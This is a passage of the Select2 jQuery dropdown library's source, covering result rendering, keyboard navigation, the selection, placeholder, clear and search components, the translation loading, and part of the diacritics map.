      delete attrs['aria-selected'];
    }

    if (data._resultId != null) {
      option.id = data._resultId;
    }

    if (data.title) {
      option.title = data.title;
    }

    if (data.children) {
      attrs.role = 'group';
      attrs['aria-label'] = data.text;
      delete attrs['aria-selected'];
    }

    for (var attr in attrs) {
      var val = attrs[attr];

      option.setAttribute(attr, val);
    }

    if (data.children) {
      var $option = $(option);

      var label = document.createElement('strong');
      label.className = 'select2-results__group';

      var $label = $(label);
      this.template(data, label);

      var $children = [];

      for (var c = 0; c < data.children.length; c++) {
        var child = data.children[c];

        var $child = this.option(child);

        $children.push($child);
      }

      var $childrenContainer = $('<ul></ul>', {
        'class': 'select2-results__options select2-results__options--nested'
      });

      $childrenContainer.append($children);

      $option.append(label);
      $option.append($childrenContainer);
    } else {
      this.template(data, option);
    }

    Utils.StoreData(option, 'data', data);

    return option;
  };

  Results.prototype.bind = function (container, $container) {
    var self = this;

    var id = container.id + '-results';

    this.$results.attr('id', id);

    container.on('results:all', function (params) {
      self.clear();
      self.append(params.data);

      if (container.isOpen()) {
        self.setClasses();
        self.highlightFirstItem();
      }
    });

    container.on('results:append', function (params) {
      self.append(params.data);

      if (container.isOpen()) {
        self.setClasses();
      }
    });

    container.on('query', function (params) {
      self.hideMessages();
      self.showLoading(params);
    });

    container.on('select', function () {
      if (!container.isOpen()) {
        return;
      }

      self.setClasses();

      if (self.options.get('scrollAfterSelect')) {
        self.highlightFirstItem();
      }
    });

    container.on('unselect', function () {
      if (!container.isOpen()) {
        return;
      }

      self.setClasses();

      if (self.options.get('scrollAfterSelect')) {
        self.highlightFirstItem();
      }
    });

    container.on('open', function () {
      // When the dropdown is open, aria-expended="true"
      self.$results.attr('aria-expanded', 'true');
      self.$results.attr('aria-hidden', 'false');

      self.setClasses();
      self.ensureHighlightVisible();
    });

    container.on('close', function () {
      // When the dropdown is closed, aria-expended="false"
      self.$results.attr('aria-expanded', 'false');
      self.$results.attr('aria-hidden', 'true');
      self.$results.removeAttr('aria-activedescendant');
    });

    container.on('results:toggle', function () {
      var $highlighted = self.getHighlightedResults();

      if ($highlighted.length === 0) {
        return;
      }

      $highlighted.trigger('mouseup');
    });

    container.on('results:select', function () {
      var $highlighted = self.getHighlightedResults();

      if ($highlighted.length === 0) {
        return;
      }

      var data = Utils.GetData($highlighted[0], 'data');

      if ($highlighted.attr('aria-selected') == 'true') {
        self.trigger('close', {});
      } else {
        self.trigger('select', {
          data: data
        });
      }
    });

    container.on('results:previous', function () {
      var $highlighted = self.getHighlightedResults();

      var $options = self.$results.find('[aria-selected]');

      var currentIndex = $options.index($highlighted);

      // If we are already at the top, don't move further
      // If no options, currentIndex will be -1
      if (currentIndex <= 0) {
        return;
      }

      var nextIndex = currentIndex - 1;

      // If none are highlighted, highlight the first
      if ($highlighted.length === 0) {
        nextIndex = 0;
      }

      var $next = $options.eq(nextIndex);

      $next.trigger('mouseenter');

      var currentOffset = self.$results.offset().top;
      var nextTop = $next.offset().top;
      var nextOffset = self.$results.scrollTop() + (nextTop - currentOffset);

      if (nextIndex === 0) {
        self.$results.scrollTop(0);
      } else if (nextTop - currentOffset < 0) {
        self.$results.scrollTop(nextOffset);
      }
    });

    container.on('results:next', function () {
      var $highlighted = self.getHighlightedResults();

      var $options = self.$results.find('[aria-selected]');

      var currentIndex = $options.index($highlighted);

      var nextIndex = currentIndex + 1;

      // If we are at the last option, stay there
      if (nextIndex >= $options.length) {
        return;
      }

      var $next = $options.eq(nextIndex);

      $next.trigger('mouseenter');

      var currentOffset = self.$results.offset().top +
        self.$results.outerHeight(false);
      var nextBottom = $next.offset().top + $next.outerHeight(false);
      var nextOffset = self.$results.scrollTop() + nextBottom - currentOffset;

      if (nextIndex === 0) {
        self.$results.scrollTop(0);
      } else if (nextBottom > currentOffset) {
        self.$results.scrollTop(nextOffset);
      }
    });

    container.on('results:focus', function (params) {
      params.element.addClass('select2-results__option--highlighted');
    });

    container.on('results:message', function (params) {
      self.displayMessage(params);
    });

    if ($.fn.mousewheel) {
      this.$results.on('mousewheel', function (e) {
        var top = self.$results.scrollTop();

        var bottom = self.$results.get(0).scrollHeight - top + e.deltaY;

        var isAtTop = e.deltaY > 0 && top - e.deltaY <= 0;
        var isAtBottom = e.deltaY < 0 && bottom <= self.$results.height();

        if (isAtTop) {
          self.$results.scrollTop(0);

          e.preventDefault();
          e.stopPropagation();
        } else if (isAtBottom) {
          self.$results.scrollTop(
            self.$results.get(0).scrollHeight - self.$results.height()
          );

          e.preventDefault();
          e.stopPropagation();
        }
      });
    }

    this.$results.on('mouseup', '.select2-results__option[aria-selected]',
      function (evt) {
      var $this = $(this);

      var data = Utils.GetData(this, 'data');

      if ($this.attr('aria-selected') === 'true') {
        if (self.options.get('multiple')) {
          self.trigger('unselect', {
            originalEvent: evt,
            data: data
          });
        } else {
          self.trigger('close', {});
        }

        return;
      }

      self.trigger('select', {
        originalEvent: evt,
        data: data
      });
    });

    this.$results.on('mouseenter', '.select2-results__option[aria-selected]',
      function (evt) {
      var data = Utils.GetData(this, 'data');

      self.getHighlightedResults()
          .removeClass('select2-results__option--highlighted');

      self.trigger('results:focus', {
        data: data,
        element: $(this)
      });
    });
  };

  Results.prototype.getHighlightedResults = function () {
    var $highlighted = this.$results
    .find('.select2-results__option--highlighted');

    return $highlighted;
  };

  Results.prototype.destroy = function () {
    this.$results.remove();
  };

  Results.prototype.ensureHighlightVisible = function () {
    var $highlighted = this.getHighlightedResults();

    if ($highlighted.length === 0) {
      return;
    }

    var $options = this.$results.find('[aria-selected]');

    var currentIndex = $options.index($highlighted);

    var currentOffset = this.$results.offset().top;
    var nextTop = $highlighted.offset().top;
    var nextOffset = this.$results.scrollTop() + (nextTop - currentOffset);

    var offsetDelta = nextTop - currentOffset;
    nextOffset -= $highlighted.outerHeight(false) * 2;

    if (currentIndex <= 2) {
      this.$results.scrollTop(0);
    } else if (offsetDelta > this.$results.outerHeight() || offsetDelta < 0) {
      this.$results.scrollTop(nextOffset);
    }
  };

  Results.prototype.template = function (result, container) {
    var template = this.options.get('templateResult');
    var escapeMarkup = this.options.get('escapeMarkup');

    var content = template(result, container);

    if (content == null) {
      container.style.display = 'none';
    } else if (typeof content === 'string') {
      container.innerHTML = escapeMarkup(content);
    } else {
      $(container).append(content);
    }
  };

  return Results;
});

S2.define('select2/keys',[

], function () {
  var KEYS = {
    BACKSPACE: 8,
    TAB: 9,
    ENTER: 13,
    SHIFT: 16,
    CTRL: 17,
    ALT: 18,
    ESC: 27,
    SPACE: 32,
    PAGE_UP: 33,
    PAGE_DOWN: 34,
    END: 35,
    HOME: 36,
    LEFT: 37,
    UP: 38,
    RIGHT: 39,
    DOWN: 40,
    DELETE: 46
  };

  return KEYS;
});

S2.define('select2/selection/base',[
  'jquery',
  '../utils',
  '../keys'
], function ($, Utils, KEYS) {
  function BaseSelection ($element, options) {
    this.$element = $element;
    this.options = options;

    BaseSelection.__super__.constructor.call(this);
  }

  Utils.Extend(BaseSelection, Utils.Observable);

  BaseSelection.prototype.render = function () {
    var $selection = $(
      '<span class="select2-selection" role="combobox" ' +
      ' aria-haspopup="true" aria-expanded="false">' +
      '</span>'
    );

    this._tabindex = 0;

    if (Utils.GetData(this.$element[0], 'old-tabindex') != null) {
      this._tabindex = Utils.GetData(this.$element[0], 'old-tabindex');
    } else if (this.$element.attr('tabindex') != null) {
      this._tabindex = this.$element.attr('tabindex');
    }

    $selection.attr('title', this.$element.attr('title'));
    $selection.attr('tabindex', this._tabindex);
    $selection.attr('aria-disabled', 'false');

    this.$selection = $selection;

    return $selection;
  };

  BaseSelection.prototype.bind = function (container, $container) {
    var self = this;

    var resultsId = container.id + '-results';

    this.container = container;

    this.$selection.on('focus', function (evt) {
      self.trigger('focus', evt);
    });

    this.$selection.on('blur', function (evt) {
      self._handleBlur(evt);
    });

    this.$selection.on('keydown', function (evt) {
      self.trigger('keypress', evt);

      if (evt.which === KEYS.SPACE) {
        evt.preventDefault();
      }
    });

    container.on('results:focus', function (params) {
      self.$selection.attr('aria-activedescendant', params.data._resultId);
    });

    container.on('selection:update', function (params) {
      self.update(params.data);
    });

    container.on('open', function () {
      // When the dropdown is open, aria-expanded="true"
      self.$selection.attr('aria-expanded', 'true');
      self.$selection.attr('aria-owns', resultsId);

      self._attachCloseHandler(container);
    });

    container.on('close', function () {
      // When the dropdown is closed, aria-expanded="false"
      self.$selection.attr('aria-expanded', 'false');
      self.$selection.removeAttr('aria-activedescendant');
      self.$selection.removeAttr('aria-owns');

      self.$selection.trigger('focus');

      self._detachCloseHandler(container);
    });

    container.on('enable', function () {
      self.$selection.attr('tabindex', self._tabindex);
      self.$selection.attr('aria-disabled', 'false');
    });

    container.on('disable', function () {
      self.$selection.attr('tabindex', '-1');
      self.$selection.attr('aria-disabled', 'true');
    });
  };

  BaseSelection.prototype._handleBlur = function (evt) {
    var self = this;

    // This needs to be delayed as the active element is the body when the tab
    // key is pressed, possibly along with others.
    window.setTimeout(function () {
      // Don't trigger `blur` if the focus is still in the selection
      if (
        (document.activeElement == self.$selection[0]) ||
        ($.contains(self.$selection[0], document.activeElement))
      ) {
        return;
      }

      self.trigger('blur', evt);
    }, 1);
  };

  BaseSelection.prototype._attachCloseHandler = function (container) {

    $(document.body).on('mousedown.select2.' + container.id, function (e) {
      var $target = $(e.target);

      var $select = $target.closest('.select2');

      var $all = $('.select2.select2-container--open');

      $all.each(function () {
        if (this == $select[0]) {
          return;
        }

        var $element = Utils.GetData(this, 'element');

        $element.select2('close');
      });
    });
  };

  BaseSelection.prototype._detachCloseHandler = function (container) {
    $(document.body).off('mousedown.select2.' + container.id);
  };

  BaseSelection.prototype.position = function ($selection, $container) {
    var $selectionContainer = $container.find('.selection');
    $selectionContainer.append($selection);
  };

  BaseSelection.prototype.destroy = function () {
    this._detachCloseHandler(this.container);
  };

  BaseSelection.prototype.update = function (data) {
    throw new Error('The `update` method must be defined in child classes.');
  };

  /**
   * Helper method to abstract the "enabled" (not "disabled") state of this
   * object.
   *
   * @return {true} if the instance is not disabled.
   * @return {false} if the instance is disabled.
   */
  BaseSelection.prototype.isEnabled = function () {
    return !this.isDisabled();
  };

  /**
   * Helper method to abstract the "disabled" state of this object.
   *
   * @return {true} if the disabled option is true.
   * @return {false} if the disabled option is false.
   */
  BaseSelection.prototype.isDisabled = function () {
    return this.options.get('disabled');
  };

  return BaseSelection;
});

S2.define('select2/selection/single',[
  'jquery',
  './base',
  '../utils',
  '../keys'
], function ($, BaseSelection, Utils, KEYS) {
  function SingleSelection () {
    SingleSelection.__super__.constructor.apply(this, arguments);
  }

  Utils.Extend(SingleSelection, BaseSelection);

  SingleSelection.prototype.render = function () {
    var $selection = SingleSelection.__super__.render.call(this);

    $selection.addClass('select2-selection--single');

    $selection.html(
      '<span class="select2-selection__rendered"></span>' +
      '<span class="select2-selection__arrow" role="presentation">' +
        '<b role="presentation"></b>' +
      '</span>'
    );

    return $selection;
  };

  SingleSelection.prototype.bind = function (container, $container) {
    var self = this;

    SingleSelection.__super__.bind.apply(this, arguments);

    var id = container.id + '-container';

    this.$selection.find('.select2-selection__rendered')
      .attr('id', id)
      .attr('role', 'textbox')
      .attr('aria-readonly', 'true');
    this.$selection.attr('aria-labelledby', id);

    this.$selection.on('mousedown', function (evt) {
      // Only respond to left clicks
      if (evt.which !== 1) {
        return;
      }

      self.trigger('toggle', {
        originalEvent: evt
      });
    });

    this.$selection.on('focus', function (evt) {
      // User focuses on the container
    });

    this.$selection.on('blur', function (evt) {
      // User exits the container
    });

    container.on('focus', function (evt) {
      if (!container.isOpen()) {
        self.$selection.trigger('focus');
      }
    });
  };

  SingleSelection.prototype.clear = function () {
    var $rendered = this.$selection.find('.select2-selection__rendered');
    $rendered.empty();
    $rendered.removeAttr('title'); // clear tooltip on empty
  };

  SingleSelection.prototype.display = function (data, container) {
    var template = this.options.get('templateSelection');
    var escapeMarkup = this.options.get('escapeMarkup');

    return escapeMarkup(template(data, container));
  };

  SingleSelection.prototype.selectionContainer = function () {
    return $('<span></span>');
  };

  SingleSelection.prototype.update = function (data) {
    if (data.length === 0) {
      this.clear();
      return;
    }

    var selection = data[0];

    var $rendered = this.$selection.find('.select2-selection__rendered');
    var formatted = this.display(selection, $rendered);

    $rendered.empty().append(formatted);

    var title = selection.title || selection.text;

    if (title) {
      $rendered.attr('title', title);
    } else {
      $rendered.removeAttr('title');
    }
  };

  return SingleSelection;
});

S2.define('select2/selection/multiple',[
  'jquery',
  './base',
  '../utils'
], function ($, BaseSelection, Utils) {
  function MultipleSelection ($element, options) {
    MultipleSelection.__super__.constructor.apply(this, arguments);
  }

  Utils.Extend(MultipleSelection, BaseSelection);

  MultipleSelection.prototype.render = function () {
    var $selection = MultipleSelection.__super__.render.call(this);

    $selection.addClass('select2-selection--multiple');

    $selection.html(
      '<ul class="select2-selection__rendered"></ul>'
    );

    return $selection;
  };

  MultipleSelection.prototype.bind = function (container, $container) {
    var self = this;

    MultipleSelection.__super__.bind.apply(this, arguments);

    this.$selection.on('click', function (evt) {
      self.trigger('toggle', {
        originalEvent: evt
      });
    });

    this.$selection.on(
      'click',
      '.select2-selection__choice__remove',
      function (evt) {
        // Ignore the event if it is disabled
        if (self.isDisabled()) {
          return;
        }

        var $remove = $(this);
        var $selection = $remove.parent();

        var data = Utils.GetData($selection[0], 'data');

        self.trigger('unselect', {
          originalEvent: evt,
          data: data
        });
      }
    );
  };

  MultipleSelection.prototype.clear = function () {
    var $rendered = this.$selection.find('.select2-selection__rendered');
    $rendered.empty();
    $rendered.removeAttr('title');
  };

  MultipleSelection.prototype.display = function (data, container) {
    var template = this.options.get('templateSelection');
    var escapeMarkup = this.options.get('escapeMarkup');

    return escapeMarkup(template(data, container));
  };

  MultipleSelection.prototype.selectionContainer = function () {
    var $container = $(
      '<li class="select2-selection__choice">' +
        '<span class="select2-selection__choice__remove" role="presentation">' +
          '&times;' +
        '</span>' +
      '</li>'
    );

    return $container;
  };

  MultipleSelection.prototype.update = function (data) {
    this.clear();

    if (data.length === 0) {
      return;
    }

    var $selections = [];

    for (var d = 0; d < data.length; d++) {
      var selection = data[d];

      var $selection = this.selectionContainer();
      var formatted = this.display(selection, $selection);

      $selection.append(formatted);

      var title = selection.title || selection.text;

      if (title) {
        $selection.attr('title', title);
      }

      Utils.StoreData($selection[0], 'data', selection);

      $selections.push($selection);
    }

    var $rendered = this.$selection.find('.select2-selection__rendered');

    Utils.appendMany($rendered, $selections);
  };

  return MultipleSelection;
});

S2.define('select2/selection/placeholder',[
  '../utils'
], function (Utils) {
  function Placeholder (decorated, $element, options) {
    this.placeholder = this.normalizePlaceholder(options.get('placeholder'));

    decorated.call(this, $element, options);
  }

  Placeholder.prototype.normalizePlaceholder = function (_, placeholder) {
    if (typeof placeholder === 'string') {
      placeholder = {
        id: '',
        text: placeholder
      };
    }

    return placeholder;
  };

  Placeholder.prototype.createPlaceholder = function (decorated, placeholder) {
    var $placeholder = this.selectionContainer();

    $placeholder.html(this.display(placeholder));
    $placeholder.addClass('select2-selection__placeholder')
                .removeClass('select2-selection__choice');

    return $placeholder;
  };

  Placeholder.prototype.update = function (decorated, data) {
    var singlePlaceholder = (
      data.length == 1 && data[0].id != this.placeholder.id
    );
    var multipleSelections = data.length > 1;

    if (multipleSelections || singlePlaceholder) {
      return decorated.call(this, data);
    }

    this.clear();

    var $placeholder = this.createPlaceholder(this.placeholder);

    this.$selection.find('.select2-selection__rendered').append($placeholder);
  };

  return Placeholder;
});

S2.define('select2/selection/allowClear',[
  'jquery',
  '../keys',
  '../utils'
], function ($, KEYS, Utils) {
  function AllowClear () { }

  AllowClear.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    if (this.placeholder == null) {
      if (this.options.get('debug') && window.console && console.error) {
        console.error(
          'Select2: The `allowClear` option should be used in combination ' +
          'with the `placeholder` option.'
        );
      }
    }

    this.$selection.on('mousedown', '.select2-selection__clear',
      function (evt) {
        self._handleClear(evt);
    });

    container.on('keypress', function (evt) {
      self._handleKeyboardClear(evt, container);
    });
  };

  AllowClear.prototype._handleClear = function (_, evt) {
    // Ignore the event if it is disabled
    if (this.isDisabled()) {
      return;
    }

    var $clear = this.$selection.find('.select2-selection__clear');

    // Ignore the event if nothing has been selected
    if ($clear.length === 0) {
      return;
    }

    evt.stopPropagation();

    var data = Utils.GetData($clear[0], 'data');

    var previousVal = this.$element.val();
    this.$element.val(this.placeholder.id);

    var unselectData = {
      data: data
    };
    this.trigger('clear', unselectData);
    if (unselectData.prevented) {
      this.$element.val(previousVal);
      return;
    }

    for (var d = 0; d < data.length; d++) {
      unselectData = {
        data: data[d]
      };

      // Trigger the `unselect` event, so people can prevent it from being
      // cleared.
      this.trigger('unselect', unselectData);

      // If the event was prevented, don't clear it out.
      if (unselectData.prevented) {
        this.$element.val(previousVal);
        return;
      }
    }

    this.$element.trigger('input').trigger('change');

    this.trigger('toggle', {});
  };

  AllowClear.prototype._handleKeyboardClear = function (_, evt, container) {
    if (container.isOpen()) {
      return;
    }

    if (evt.which == KEYS.DELETE || evt.which == KEYS.BACKSPACE) {
      this._handleClear(evt);
    }
  };

  AllowClear.prototype.update = function (decorated, data) {
    decorated.call(this, data);

    if (this.$selection.find('.select2-selection__placeholder').length > 0 ||
        data.length === 0) {
      return;
    }

    var removeAll = this.options.get('translations').get('removeAllItems');

    var $remove = $(
      '<span class="select2-selection__clear" title="' + removeAll() +'">' +
        '&times;' +
      '</span>'
    );
    Utils.StoreData($remove[0], 'data', data);

    this.$selection.find('.select2-selection__rendered').prepend($remove);
  };

  return AllowClear;
});

S2.define('select2/selection/search',[
  'jquery',
  '../utils',
  '../keys'
], function ($, Utils, KEYS) {
  function Search (decorated, $element, options) {
    decorated.call(this, $element, options);
  }

  Search.prototype.render = function (decorated) {
    var $search = $(
      '<li class="select2-search select2-search--inline">' +
        '<input class="select2-search__field" type="search" tabindex="-1"' +
        ' autocomplete="off" autocorrect="off" autocapitalize="none"' +
        ' spellcheck="false" role="searchbox" aria-autocomplete="list" />' +
      '</li>'
    );

    this.$searchContainer = $search;
    this.$search = $search.find('input');

    var $rendered = decorated.call(this);

    this._transferTabIndex();

    return $rendered;
  };

  Search.prototype.bind = function (decorated, container, $container) {
    var self = this;

    var resultsId = container.id + '-results';

    decorated.call(this, container, $container);

    container.on('open', function () {
      self.$search.attr('aria-controls', resultsId);
      self.$search.trigger('focus');
    });

    container.on('close', function () {
      self.$search.val('');
      self.$search.removeAttr('aria-controls');
      self.$search.removeAttr('aria-activedescendant');
      self.$search.trigger('focus');
    });

    container.on('enable', function () {
      self.$search.prop('disabled', false);

      self._transferTabIndex();
    });

    container.on('disable', function () {
      self.$search.prop('disabled', true);
    });

    container.on('focus', function (evt) {
      self.$search.trigger('focus');
    });

    container.on('results:focus', function (params) {
      if (params.data._resultId) {
        self.$search.attr('aria-activedescendant', params.data._resultId);
      } else {
        self.$search.removeAttr('aria-activedescendant');
      }
    });

    this.$selection.on('focusin', '.select2-search--inline', function (evt) {
      self.trigger('focus', evt);
    });

    this.$selection.on('focusout', '.select2-search--inline', function (evt) {
      self._handleBlur(evt);
    });

    this.$selection.on('keydown', '.select2-search--inline', function (evt) {
      evt.stopPropagation();

      self.trigger('keypress', evt);

      self._keyUpPrevented = evt.isDefaultPrevented();

      var key = evt.which;

      if (key === KEYS.BACKSPACE && self.$search.val() === '') {
        var $previousChoice = self.$searchContainer
          .prev('.select2-selection__choice');

        if ($previousChoice.length > 0) {
          var item = Utils.GetData($previousChoice[0], 'data');

          self.searchRemoveChoice(item);

          evt.preventDefault();
        }
      }
    });

    this.$selection.on('click', '.select2-search--inline', function (evt) {
      if (self.$search.val()) {
        evt.stopPropagation();
      }
    });

    // Try to detect the IE version should the `documentMode` property that
    // is stored on the document. This is only implemented in IE and is
    // slightly cleaner than doing a user agent check.
    // This property is not available in Edge, but Edge also doesn't have
    // this bug.
    var msie = document.documentMode;
    var disableInputEvents = msie && msie <= 11;

    // Workaround for browsers which do not support the `input` event
    // This will prevent double-triggering of events for browsers which support
    // both the `keyup` and `input` events.
    this.$selection.on(
      'input.searchcheck',
      '.select2-search--inline',
      function (evt) {
        // IE will trigger the `input` event when a placeholder is used on a
        // search box. To get around this issue, we are forced to ignore all
        // `input` events in IE and keep using `keyup`.
        if (disableInputEvents) {
          self.$selection.off('input.search input.searchcheck');
          return;
        }

        // Unbind the duplicated `keyup` event
        self.$selection.off('keyup.search');
      }
    );

    this.$selection.on(
      'keyup.search input.search',
      '.select2-search--inline',
      function (evt) {
        // IE will trigger the `input` event when a placeholder is used on a
        // search box. To get around this issue, we are forced to ignore all
        // `input` events in IE and keep using `keyup`.
        if (disableInputEvents && evt.type === 'input') {
          self.$selection.off('input.search input.searchcheck');
          return;
        }

        var key = evt.which;

        // We can freely ignore events from modifier keys
        if (key == KEYS.SHIFT || key == KEYS.CTRL || key == KEYS.ALT) {
          return;
        }

        // Tabbing will be handled during the `keydown` phase
        if (key == KEYS.TAB) {
          return;
        }

        self.handleSearch(evt);
      }
    );
  };

  /**
   * This method will transfer the tabindex attribute from the rendered
   * selection to the search box. This allows for the search box to be used as
   * the primary focus instead of the selection container.
   *
   * @private
   */
  Search.prototype._transferTabIndex = function (decorated) {
    this.$search.attr('tabindex', this.$selection.attr('tabindex'));
    this.$selection.attr('tabindex', '-1');
  };

  Search.prototype.createPlaceholder = function (decorated, placeholder) {
    this.$search.attr('placeholder', placeholder.text);
  };

  Search.prototype.update = function (decorated, data) {
    var searchHadFocus = this.$search[0] == document.activeElement;

    this.$search.attr('placeholder', '');

    decorated.call(this, data);

    this.$selection.find('.select2-selection__rendered')
                   .append(this.$searchContainer);

    this.resizeSearch();
    if (searchHadFocus) {
      this.$search.trigger('focus');
    }
  };

  Search.prototype.handleSearch = function () {
    this.resizeSearch();

    if (!this._keyUpPrevented) {
      var input = this.$search.val();

      this.trigger('query', {
        term: input
      });
    }

    this._keyUpPrevented = false;
  };

  Search.prototype.searchRemoveChoice = function (decorated, item) {
    this.trigger('unselect', {
      data: item
    });

    this.$search.val(item.text);
    this.handleSearch();
  };

  Search.prototype.resizeSearch = function () {
    this.$search.css('width', '25px');

    var width = '';

    if (this.$search.attr('placeholder') !== '') {
      width = this.$selection.find('.select2-selection__rendered').width();
    } else {
      var minimumWidth = this.$search.val().length + 1;

      width = (minimumWidth * 0.75) + 'em';
    }

    this.$search.css('width', width);
  };

  return Search;
});

S2.define('select2/selection/eventRelay',[
  'jquery'
], function ($) {
  function EventRelay () { }

  EventRelay.prototype.bind = function (decorated, container, $container) {
    var self = this;
    var relayEvents = [
      'open', 'opening',
      'close', 'closing',
      'select', 'selecting',
      'unselect', 'unselecting',
      'clear', 'clearing'
    ];

    var preventableEvents = [
      'opening', 'closing', 'selecting', 'unselecting', 'clearing'
    ];

    decorated.call(this, container, $container);

    container.on('*', function (name, params) {
      // Ignore events that should not be relayed
      if ($.inArray(name, relayEvents) === -1) {
        return;
      }

      // The parameters should always be an object
      params = params || {};

      // Generate the jQuery event for the Select2 event
      var evt = $.Event('select2:' + name, {
        params: params
      });

      self.$element.trigger(evt);

      // Only handle preventable events if it was one
      if ($.inArray(name, preventableEvents) === -1) {
        return;
      }

      params.prevented = evt.isDefaultPrevented();
    });
  };

  return EventRelay;
});

S2.define('select2/translation',[
  'jquery',
  'require'
], function ($, require) {
  function Translation (dict) {
    this.dict = dict || {};
  }

  Translation.prototype.all = function () {
    return this.dict;
  };

  Translation.prototype.get = function (key) {
    return this.dict[key];
  };

  Translation.prototype.extend = function (translation) {
    this.dict = $.extend({}, translation.all(), this.dict);
  };

  // Static functions

  Translation._cache = {};

  Translation.loadPath = function (path) {
    if (!(path in Translation._cache)) {
      var translations = require(path);

      Translation._cache[path] = translations;
    }

    return new Translation(Translation._cache[path]);
  };

  return Translation;
});

S2.define('select2/diacritics',[

], function () {
  var diacritics = {
    '\u24B6': 'A',
    '\uFF21': 'A',
    '\u00C0': 'A',
    '\u00C1': 'A',
    '\u00C2': 'A',
    '\u1EA6': 'A',
    '\u1EA4': 'A',
    '\u1EAA': 'A',
    '\u1EA8': 'A',
    '\u00C3': 'A',
    '\u0100': 'A',
    '\u0102': 'A',
    '\u1EB0': 'A',
    '\u1EAE': 'A',
    '\u1EB4': 'A',
    '\u1EB2': 'A',
    '\u0226': 'A',
    '\u01E0': 'A',
    '\u00C4': 'A',
    '\u01DE': 'A',
    '\u1EA2': 'A',
    '\u00C5': 'A',
    '\u01FA': 'A',
    '\u01CD': 'A',
    '\u0200': 'A',
    '\u0202': 'A',
    '\u1EA0': 'A',
    '\u1EAC': 'A',
    '\u1EB6': 'A',
    '\u1E00': 'A',
    '\u0104': 'A',
    '\u023A': 'A',
    '\u2C6F': 'A',
    '\uA732': 'AA',
    '\u00C6': 'AE',
    '\u01FC': 'AE',
    '\u01E2': 'AE',
    '\uA734': 'AO',
    '\uA736': 'AU',
    '\uA738': 'AV',
    '\uA73A': 'AV',
    '\uA73C': 'AY',
    '\u24B7': 'B',
    '\uFF22': 'B',
    '\u1E02': 'B',
    '\u1E04': 'B',
    '\u1E06': 'B',
    '\u0243': 'B',
    '\u0182': 'B',
    '\u0181': 'B',
    '\u24B8': 'C',
    '\uFF23': 'C',
    '\u0106': 'C',
    '\u0108': 'C',
    '\u010A': 'C',
    '\u010C': 'C',
    '\u00C7': 'C',
    '\u1E08': 'C',
    '\u0187': 'C',
    '\u023B': 'C',
    '\uA73E': 'C',
    '\u24B9': 'D',
    '\uFF24': 'D',
    '\u1E0A': 'D',
    '\u010E': 'D',
    '\u1E0C': 'D',
    '\u1E10': 'D',
    '\u1E12': 'D',
    '\u1E0E': 'D',
    '\u0110': 'D',
    '\u018B': 'D',
    '\u018A': 'D',
    '\u0189': 'D',
    '\uA779': 'D',
    '\u01F1': 'DZ',
    '\u01C4': 'DZ',
    '\u01F2': 'Dz',
    '\u01C5': 'Dz',
    '\u24BA': 'E',
    '\uFF25': 'E',
    '\u00C8': 'E',
    '\u00C9': 'E',
    '\u00CA': 'E',
    '\u1EC0': 'E',
    '\u1EBE': 'E',
    '\u1EC4': 'E',
    '\u1EC2': 'E',
    '\u1EBC': 'E',
    '\u0112': 'E',
    '\u1E14': 'E',
    '\u1E16': 'E',
    '\u0114': 'E',
    '\u0116': 'E',
    '\u00CB': 'E',
    '\u1EBA': 'E',
    '\u011A': 'E',
    '\u0204': 'E',
    '\u0206': 'E',
    '\u1EB8': 'E',
    '\u1EC6': 'E',
    '\u0228': 'E',
    '\u1E1C': 'E',
    '\u0118': 'E',
    '\u1E18': 'E',
    '\u1E1A': 'E',
    '\u0190': 'E',
    '\u018E': 'E',
    '\u24BB': 'F',
    '\uFF26': 'F',
    '\u1E1E': 'F',
    '\u0191': 'F',
    '\uA77B': 'F',
    '\u24BC': 'G',
    '\uFF27': 'G',
    '\u01F4': 'G',
    '\u011C': 'G',
    '\u1E20': 'G',
    '\u011E': 'G',
    '\u0120': 'G',
    '\u01E6': 'G',
    '\u0122': 'G',
    '\u01E4': 'G',
    '\u0193': 'G',
    '\uA7A0': 'G',
    '\uA77D': 'G',
    '\uA77E': 'G',
    '\u24BD': 'H',
    '\uFF28': 'H',
    '\u0124': 'H',
    '\u1E22': 'H',
    '\u1E26': 'H',
    '\u021E': 'H',
    '\u1E24': 'H',
    '\u1E28': 'H',
    '\u1E2A': 'H',
    '\u0126': 'H',
    '\u2C67': 'H',
    '\u2C75': 'H',
    '\uA78D': 'H',
    '\u24BE': 'I',
    '\uFF29': 'I',
    '\u00CC': 'I',
    '\u00CD': 'I',
    '\u00CE': 'I',
    '\u0128': 'I',
    '\u012A': 'I',
    '\u012C': 'I',
    '\u0130': 'I',
    '\u00CF': 'I',
    '\u1E2E': 'I',
    '\u1EC8': 'I',
    '\u01CF': 'I',
    '\u0208': 'I',
    '\u020A': 'I',
    '\u1ECA': 'I',
    '\u012E': 'I',
    '\u1E2C': 'I',
    '\u0197': 'I',
    '\u24BF': 'J',
    '\uFF2A': 'J',
    '\u0134': 'J',
    '\u0248': 'J',
    '\u24C0': 'K',
    '\uFF2B': 'K',
    '\u1E30': 'K',
    '\u01E8': 'K',
    '\u1E32': 'K',
    '\u0136': 'K',
    '\u1E34': 'K',
    '\u0198': 'K',
    '\u2C69': 'K',
    '\uA740': 'K',
    '\uA742': 'K',
    '\uA744': 'K',
    '\uA7A2': 'K',
    '\u24C1': 'L',
    '\uFF2C': 'L',
    '\u013F': 'L',
    '\u0139': 'L',
    '\u013D': 'L',
    '\u1E36': 'L',
    '\u1E38': 'L',
    '\u013B': 'L',
    '\u1E3C': 'L',
    '\u1E3A': 'L',
    '\u0141': 'L',
    '\u023D': 'L',
    '\u2C62': 'L',
    '\u2C60': 'L',
    '\uA748': 'L',
    '\uA746': 'L',
    '\uA780': 'L',
    '\u01C7': 'LJ',
    '\u01C8': 'Lj',
    '\u24C2': 'M',
    '\uFF2D': 'M',
    '\u1E3E': 'M',
    '\u1E40': 'M',
    '\u1E42': 'M',
    '\u2C6E': 'M',
    '\u019C': 'M',
    '\u24C3': 'N',
    '\uFF2E': 'N',
    '\u01F8': 'N',
    '\u0143': 'N',
    '\u00D1': 'N',
    '\u1E44': 'N',
    '\u0147': 'N',
    '\u1E46': 'N',
    '\u0145': 'N',
    '\u1E4A': 'N',
    '\u1E48': 'N',
    '\u0220': 'N',
    '\u019D': 'N',
    '\uA790': 'N',
    '\uA7A4': 'N',
    '\u01CA': 'NJ',
    '\u01CB': 'Nj',
    '\u24C4': 'O',
    '\uFF2F': 'O',
    '\u00D2': 'O',
    '\u00D3': 'O',
    '\u00D4': 'O',
    '\u1ED2': 'O',
    '\u1ED0': 'O',
    '\u1ED6': 'O',
